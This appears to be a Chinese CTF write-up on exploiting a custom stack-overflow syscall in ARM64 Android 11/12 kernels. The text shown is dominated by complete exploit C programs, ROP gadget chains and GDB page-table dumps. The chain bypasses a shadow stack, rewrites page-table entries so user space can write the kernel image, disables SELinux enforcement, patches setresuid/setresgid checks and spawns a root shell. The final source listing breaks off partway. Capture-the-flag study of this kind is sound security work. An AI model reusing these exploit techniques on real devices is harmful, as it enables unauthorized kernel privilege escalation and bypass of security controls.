所以,使用 stackof_write() 写返回地址时,提前将cookie布置好。rop完成一次任意地址写(不能动 X8 X9 X28三个寄存器),然后修复 x29 x30 sp,回到用户态。

任意地址写直接使用KSMA方法改页表,重新映射整个内核镜像为用户态可读写,使用户态可以任意改写内核代码段和数据段。

三条gadget:

1
2
3
unsigned long gadget1 = 0xffffff8008464a0c;     // : sub sp, x29, #0x10 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
unsigned long gadget2 = 0xffffff80084f51c0; // : str x19, [x20, #0x10] ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
unsigned long gadget3 = 0xffffff80080a745c; // : ldp x29, x30, [sp], #0x80 ; ret

本地root shell:

image-20230906141248747

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xFFFFFFC0000BECC8

unsigned long arg1, arg2;

unsigned long gadget1 = 0xffffff8008464a0c; // : sub sp, x29, #0x10 ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
unsigned long gadget2 = 0xffffff80084f51c0; // : str x19, [x20, #0x10] ; ldp x29, x30, [sp, #0x10] ; ldp x20, x19, [sp], #0x20 ; ret
unsigned long gadget3 = 0xffffff80080a745c; // : ldp x29, x30, [sp], #0x80 ; ret

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}


#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFF8008080000

unsigned long selinux_enforcing_addr = 0xFFFFFF8008EDA770;
unsigned long SYMBOL__swapper_pg_dir = 0xffffff8008f0c000;

unsigned long d_block_addr;
unsigned long d_block;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {

int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}


int main(){

init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

char* read_buf = malloc(0x200);
char* write_buf = malloc(0x200);
memset(read_buf, 0x0, 0x200);
memset(write_buf, 0x0, 0x200);

k_stackof_read(read_buf, 0x200);
hexdump(read_buf, 0x200);
unsigned long real_k_sp = *((unsigned long*)&read_buf[0x100]);
printf("real_k_sp: 0x%lx\n",real_k_sp);

unsigned long k_cookie = *((unsigned long*)&read_buf[0x100]);
unsigned long k_x28 = *((unsigned long*)&read_buf[0x108]);
// unsigned long k_cookie_2 = *((unsigned long*)&read_buf[0x110]);
unsigned long k_x29 = *((unsigned long*)&read_buf[0x118]); // 控制流劫持后,需要返回用户态时保持值
unsigned long k_x30 = *((unsigned long*)&read_buf[0x120]); // 控制流劫持后,需要返回用户态时保持值
// unsigned long k_x29_2 = *((unsigned long*)&read_buf[0x128]);
// unsigned long k_x30_2 = *((unsigned long*)&read_buf[0x130]);

sleep(1);

/*padding*/
// memset(write_buf,0x42,0x100);

/*gadget*/ /* str x19, [x20, #0x10] */
*((unsigned long*)&write_buf[0x68]) = d_block_addr-0x10; // -> x20 : d_block_addr-0x10
*((unsigned long*)&write_buf[0x70]) = d_block; // -> x19 : d_block
*((unsigned long*)&write_buf[0x78]) = 0x0; // -> x29 : x
*((unsigned long*)&write_buf[0x80]) = gadget2; // -> x30 : gadget2
*((unsigned long*)&write_buf[0x88]) = 0x0; // -> x20 : x
*((unsigned long*)&write_buf[0x90]) = 0x0; // -> x19 : x
*((unsigned long*)&write_buf[0x98]) = 0x0; // -> x29 : x
*((unsigned long*)&write_buf[0xa0]) = gadget3; // -> x30 : gadget3
*((unsigned long*)&write_buf[0xa8]) = k_x29; // -> x29 : k_x29
*((unsigned long*)&write_buf[0xb0]) = k_x30; // -> x30 : k_x30


*((unsigned long*)&write_buf[0x100]) = k_cookie;
*((unsigned long*)&write_buf[0x108]) = k_x28;
*((unsigned long*)&write_buf[0x110]) = k_cookie;
*((unsigned long*)&write_buf[0x118]) = k_x29-0xb0; // x29
*((unsigned long*)&write_buf[0x120]) = gadget1; // x30 gadget1
// *((unsigned long*)&write_buf[0x128]) = 0; // second x29
// *((unsigned long*)&write_buf[0x130]) = 0; // second x30

hexdump(write_buf, 0x200);
k_stackof_write(write_buf,0x128);
// k_stackof_write(write_buf,0x100);


// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFF80080C7074;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x36;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFF80080C7524;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x36;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);


setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

printf("exit\n");

return 0;
}

android 11

内核版本: linux 5.4.50

比赛期间这个题没继续往后做,以为shadow stack无法绕过(x18寄存器)。但赛后看别人做出来了,于是自己也想尝试一下,发现其实还是可以解的。

任意地址写

在有shadow stack的情况下,虽然无法直接通过栈溢出写返回地址来控制流劫持,但还可以考虑这两个方向:

  1. 返回过程中是否有函数指针?
  2. 返回过程中是否有可控的地址写?如STR,STP配合可控寄存器。

对于本题:

  1. 跟踪返回的流程,唯一的一个函数指针,用于调用_arm64_sys_stackof 函数了。返回时不会再执行。

  2. 跟踪返回流程,发现 0xFFFFFFC010209F7C 处会将 copy_from_user 函数的返回值存放到 x19 寄存器指向的内存处。而x19是上一个函数从栈上取出的,由于我们有超强的栈溢出能力,所以覆写x19对应的位置,就能达到任意地址写——copy_from_user的返回值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    _arm64_sys_stackof
    .kernel:FFFFFFC010257824 BL sys_stackof_handler
    .kernel:FFFFFFC010257828 ADRP X9, #__stack_chk_guard@PAGE
    .kernel:FFFFFFC01025782C LDUR X8, [X29,#var_8]
    .kernel:FFFFFFC010257830 LDR X9, [X9,#__stack_chk_guard@PAGEOFF]
    .kernel:FFFFFFC010257834 CMP X9, X8
    .kernel:FFFFFFC010257838 B.NE loc_FFFFFFC010257854
    .kernel:FFFFFFC01025783C ADD SP, SP, #0x810
    .kernel:FFFFFFC010257840 LDP X20, X19, [SP,#var_s20]
    .kernel:FFFFFFC010257844 LDP X28, X21, [SP,#var_s10]
    .kernel:FFFFFFC010257848 LDP X29, X30, [SP+var_s0],#0x30
    .kernel:FFFFFFC01025784C LDR X30, [X18,#-8]!
    .kernel:FFFFFFC010257850 RET
    # /* RET到0xFFFFFFC010209F58*/

    el0_svc_common
    .kernel:FFFFFFC010209F54 BLR X20
    .kernel:FFFFFFC010209F58 B loc_FFFFFFC010209F7C
    .kernel:FFFFFFC010209F7C loc_FFFFFFC010209F7C ; CODE XREF: el0_svc_common+BC↑j
    .kernel:FFFFFFC010209F7C ; el0_svc_common+D8↑j
    .kernel:FFFFFFC010209F7C STR X0, [X19]
    # /* x19可控,x0是0,往任意地址写0?*/

    copy_from_user的返回值构造花费了一些时间,返回值表示未成功拷贝的字节数,并且会将目标地址未成功拷贝的区域设置成0。幸好栈中黄框位置设置成全0时不影响程序流的执行。

    image-20230906142425609

写一级页表对应虚拟地址(X)

直接写 (swapper_pg_dir+264*8) 区域会报错,”unable to handle kernel write to read-only memory at virtual address ffffffc0117e6840”。应该是为了安全考虑将该区域映射成只读的了。

那么还有线性映射区可以考虑,经过测试得到本环境中线性映射区的起始地址是 0xffffff8000000000 。目标页表项对应的虚拟地址:

1
2
3
4
5
6
>>> hex(0xFFFFFFC0117E6000-0xFFFFFFC010080000)
'0x1766000'
>>> hex(264*8)
'0x840'
>>> hex(0xFFFFFF8000000000+0x80000+0x1766000+0x840)
'0xffffff80017e6840'

但是写线性映射区时也是同样的错,”Unable to handle kernel write to read-only memory at virtual address ffffff80017e6840”。

写一级页表虚拟地址对应页表项(✔)

页面不可写,应该是页表项中设置其权限为只读了。于是往上一层考虑,去改这read-only区域对应的页表项,能否改成读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
x/20gx 0xffffff80017e6840
0xffffff80017e6840: 0x00680081c0000711 0x0068008200000711
0xffffff80017e6850: 0x0068008240000711 0x0068008280000711
0xffffff80017e6860: 0x00680082c0000711 0x0068008300000711
0xffffff80017e6870: 0x0068008340000711 0x0068008380000711
0xffffff80017e6880: 0x00680083c0000711 0x0000000000000000
0xffffff80017e6890: 0x0000000000000000 0x0000000000000000

FFFF FF80 017E 6840
11111111 11111111 11111111 10000000 00000001 01111110 01101000 01000000
0000000 00:0
000001 011:11
11110 0110:486

gef➤ monitor xp /20gx 0xafbf7000+0xf30
# 【0xffffff80017e6840 对应的页表项为物理地址 0xafbf7f30,可以看到这个虚拟地址在页表项中被标记成了不可写】
00000000afbf7f30: 0x00600000417e6793 0x00600000417e7793
00000000afbf7f40: 0x00600000417e8793 0x00600000417e9793
00000000afbf7f50: 0x00600000417ea793 0x00600000417eb793
00000000afbf7f60: 0x00600000417ec793 0x00600000417ed793
00000000afbf7f70: 0x00600000417ee793 0x00600000417ef793
00000000afbf7f80: 0x00680000417f0713 0x00680000417f1713
00000000afbf7f90: 0x00680000417f2713 0x00680000417f3713
00000000afbf7fa0: 0x00680000417f4713 0x00680000417f5713
00000000afbf7fb0: 0x00680000417f6713 0x00680000417f7713
00000000afbf7fc0: 0x00680000417f8713 0x00680000417f9713

gef➤ x/20gx 0xffffff8000000000+(0xafbf7f30-0x40000000)
# 【于是找到物理地址 0xafbf7f30 对应到线性映射区的地址】
0xffffff806fbf7f30: 0x00600000417e6793 0x00600000417e7793
0xffffff806fbf7f40: 0x00600000417e8793 0x00600000417e9793
0xffffff806fbf7f50: 0x00600000417ea793 0x00600000417eb793
0xffffff806fbf7f60: 0x00600000417ec793 0x00600000417ed793
0xffffff806fbf7f70: 0x00600000417ee793 0x00600000417ef793
0xffffff806fbf7f80: 0x00680000417f0713 0x00680000417f1713
0xffffff806fbf7f90: 0x00680000417f2713 0x00680000417f3713
0xffffff806fbf7fa0: 0x00680000417f4713 0x00680000417f5713
0xffffff806fbf7fb0: 0x00680000417f6713 0x00680000417f7713
0xffffff806fbf7fc0: 0x00680000417f8713 0x00680000417f9713


0xffffff806fbf7f30
11111111 11111111 11111111 10000000 01101111 10111111 01111111 00110000
0000000 01:1
101111 101:381
11111 0111:503

gef➤ monitor xp /20gx 0xafa02be8
00000000afa02be8: 0x00000000af884003 0x00000000af883003
gef➤ monitor xp /20gx 0xaf884fb8
# 【查看虚拟地址 0xffffff806fbf7f30 的页表项,发现是权限内核态可读写的,0x13对应00010011】
00000000af884fb8: 0x00680000afbf7713 0x00680000afbf8713

# 【所以考虑先通过任意地址写,将虚拟地址 0xffffff806fbf7f30 处页表项的权限改成用户和内核态可读写】
# 0x00600000417e6753
# 【在用户态将虚拟地址 0xffffff80017e6840 处改成目标d_block,重新映射全部物理地址,权限为用户态可读写】
# 0x0070000040000e71
# 【在用户态通过读写内核,改setresuid,setresgid,selinux_state,最终获得root权限】

所以需要利用 FFFFFFC010209F7C STR X0, [X19] 构造4次任意地址写,将 0xffffff806fbf7f30 的值覆盖成 0x417e6753

本地root shell:

image-20230906142451852

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xFFFFFFC0000BECC8

unsigned long arg1, arg2;

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}


#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC010080000

unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC0117E6000; // in android11 there is a swapper_pg_dir symbol

unsigned long remap_addr_pte = 0xffffff806fbf7f30; // linear addr space
unsigned long remap_addr_dblock_addr = 0xffffff80017e6840; // linear addr space


unsigned long d_block_addr;
unsigned long d_block;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

int main(){
printf("1\n");
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

char* buf = mmap(0x60000000, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if( buf == (void*)-1) err("mmap() thread");
memset(buf, 0x0, 0x1000);

char* read_buf = buf + (0x1000-0x9b0);
k_stackof_read(read_buf, 0x9b0);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte;
hexdump(read_buf, 0x9b0);

int write_size = 0x9b0+0x23;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+1;
write_size = 0x9b0+0x37;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+2;
write_size = 0x9b0+0x7e - 0x30;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+3;
write_size = 0x9b0+0x11;
k_stackof_write(read_buf,write_size);


//
*(unsigned long*)remap_addr_dblock_addr = d_block; // make 0xfffffffc20000000 <--> phys_0


// write kernel image
/* selinux_state*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC011AA69D8+1;
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(char*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC01023D680;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x36;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC01023D888;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x36;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);


setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

printf("exit\n");

return 0;
}

android 12

内核版本: linux 5.10.160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# cat /proc/iomem
[...]
40000000-bfffffff : System RAM
40200000-4266ffff : Kernel code
42670000-4296ffff : reserved
42970000-42c6ffff : Kernel data
47fff000-48416fff : reserved
48600000-4860ffff : reserved
ad400000-bf9fffff : reserved
bfa16000-bfa95fff : reserved
bfa96000-bfb96fff : reserved
bfb97000-bfbd8fff : reserved
bfbdb000-bfbdbfff : reserved
bfbdc000-bfbddfff : reserved
bfbde000-bfbdefff : reserved
bfbdf000-bfbdffff : reserved
bfbe0000-bfc00fff : reserved
bfc01000-bfc0afff : reserved
bfc0b000-bfffffff : reserved
[...]

利用方法同android 11,所以要将 0xffffffc200000000 对应的一级页表项设置成 d_block,让用户态可以任意读写内核image。

  1. 该一级页表项对应两处虚拟地址

    一处是在 swapper_pg_dir 中的偏移

    1
    2
    gef➤  x/2gx 0xFFFFFFC00A466000+0x840
    0xffffffc00a466840 <swapper_pg_dir+2112>: 0x00680081c0000701 0x0068008200000701

    一处是在线性映射区中的偏移

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 偏移
    >>> hex(0xffffffc00a466840-0xFFFFFFC008000000 + 0x200000)
    '0x2666840'

    # 线性映射区在0xFFFFFF8000000000
    # 对应页表项也映射到了虚拟地址 0xffffff8002666840 处
    gef➤ x/2gx 0xFFFFFF8000000000+0x2666840
    0xffffff8002666840: 0x00680081c0000701 0x0068008200000701

    40000000-bfffffff : System RAM
    40200000-4266ffff : Kernel code
    42670000-4296ffff : reserved
    42970000-42c6ffff : Kernel data

    通过线性映射区可以接着调试查看二级页表,三级页表。由于 0xffffff8002666840 处是只读的,我们考虑将 0xffffff8002666000 对应的页表项设置成用户态和内核态可读写的状态,这样就可以在用户态写一级页表了。

  2. 0xffffff8002666000 地址对应的物理页表项

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    0xffffff8002666000 
    11111111 11111111 11111111 10000000 00000010 01100110 01100000 00000000
    0级页表未使用
    1级页表偏移:0000000 00 - 0*8
    2级页表偏移:000010 011 - 19*8=0x98
    3级页表偏移:00110 0110 - 102*8=0x330

    gef➤ x/20gx 0xFFFFFF8000000000+0x2666840
    0xffffff8002666840: 0x00680081c0000701 0x0068008200000701
    0xffffff8002666850: 0x0068008240000701 0x0068008280000701
    0xffffff8002666860: 0x00680082c0000701 0x0068008300000701
    0xffffff8002666870: 0x0068008340000701 0x0068008380000701
    0xffffff8002666880: 0x00680083c0000701 0x0000000000000000
    0xffffff8002666890: 0x0000000000000000 0x0000000000000000
    0xffffff80026668a0: 0x0000000000000000 0x0000000000000000
    0xffffff80026668b0: 0x0000000000000000 0x0000000000000000
    0xffffff80026668c0: 0x0000000000000000 0x0000000000000000
    0xffffff80026668d0: 0x0000000000000000 0x0000000000000000
    gef➤ x/20gx 0xFFFFFF8000000000+0x2666000
    0xffffff8002666000: 0x00000000bfffa003 0x00000000bfe0b003
    0xffffff8002666010: 0x0000000000000000 0x0000000000000000
    0xffffff8002666020: 0x0000000000000000 0x0000000000000000
    0xffffff8002666030: 0x0000000000000000 0x0000000000000000
    0xffffff8002666040: 0x0000000000000000 0x0000000000000000
    0xffffff8002666050: 0x0000000000000000 0x0000000000000000
    0xffffff8002666060: 0x0000000000000000 0x0000000000000000
    0xffffff8002666070: 0x0000000000000000 0x0000000000000000
    0xffffff8002666080: 0x0000000000000000 0x0000000000000000
    0xffffff8002666090: 0x0000000000000000 0x0000000000000000
    gef➤ x/20gx 0xFFFFFF8000000000+(0xbfffa000-0x40000000)+0x98
    0xffffff807fffa098: 0x00000000bfff8003 0x00000000bfff7003
    0xffffff807fffa0a8: 0x00000000bfff6003 0x00000000bfff5003
    0xffffff807fffa0b8: 0x00000000bfff4003 0x00000000bfff3003
    0xffffff807fffa0c8: 0x00000000bfff2003 0x00000000bfff1003
    0xffffff807fffa0d8: 0x00000000bfff0003 0x00000000bffef003
    0xffffff807fffa0e8: 0x00000000bffee003 0x00000000bffed003
    0xffffff807fffa0f8: 0x00000000bffec003 0x00000000bffeb003
    0xffffff807fffa108: 0x00000000bffea003 0x00000000bffe9003
    0xffffff807fffa118: 0x00000000bffe8003 0x00000000bffe7003
    0xffffff807fffa128: 0x00000000bffe6003 0x00000000bffe5003
    gef➤ x/20gx 0xFFFFFF8000000000+(0xbfff8000-0x40000000)+0x330
    0xffffff807fff8330: 0x0060000042666783 0x0060000042667783
    0xffffff807fff8340: 0x0060000042668783 0x0060000042669783
    0xffffff807fff8350: 0x006000004266a783 0x006000004266b783
    0xffffff807fff8360: 0x006000004266c783 0x006000004266d783
    0xffffff807fff8370: 0x006000004266e783 0x006000004266f783
    0xffffff807fff8380: 0x0068000042670707 0x0068000042671707
    0xffffff807fff8390: 0x0068000042672707 0x0068000042673707
    0xffffff807fff83a0: 0x0068000042674707 0x0068000042675707
    0xffffff807fff83b0: 0x0068000042676707 0x0068000042677707
    0xffffff807fff83c0: 0x0068000042678707 0x0068000042679707

    # 0xffffff807fff8330 处就是 0xffffff8002666000 虚拟地址对应的页表项
    # 0x783:0111 1000 0011 - bit[7:6]表示仅内核态可读
    # 0x743:0111 0100 0011 - bit[7:6]表示用户态和内核态可读写
  3. 写物理页表项

    将虚拟地址 0xffffff807fff8330 处写成 0x0060000042666743 ,使 0xffffff8002666000 这个页面用户态可读写,那么就能将我们精心构造的d_block写入 0xffffff8002666840 中,从而达到任意读写内核image的目的了。

本地 root shell

image-20230906144747651

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
// test2.c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xFFFFFFC0000BECC8

unsigned long arg1, arg2;

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}


#define IMAGE_PHYS_ADDR 0x40200000
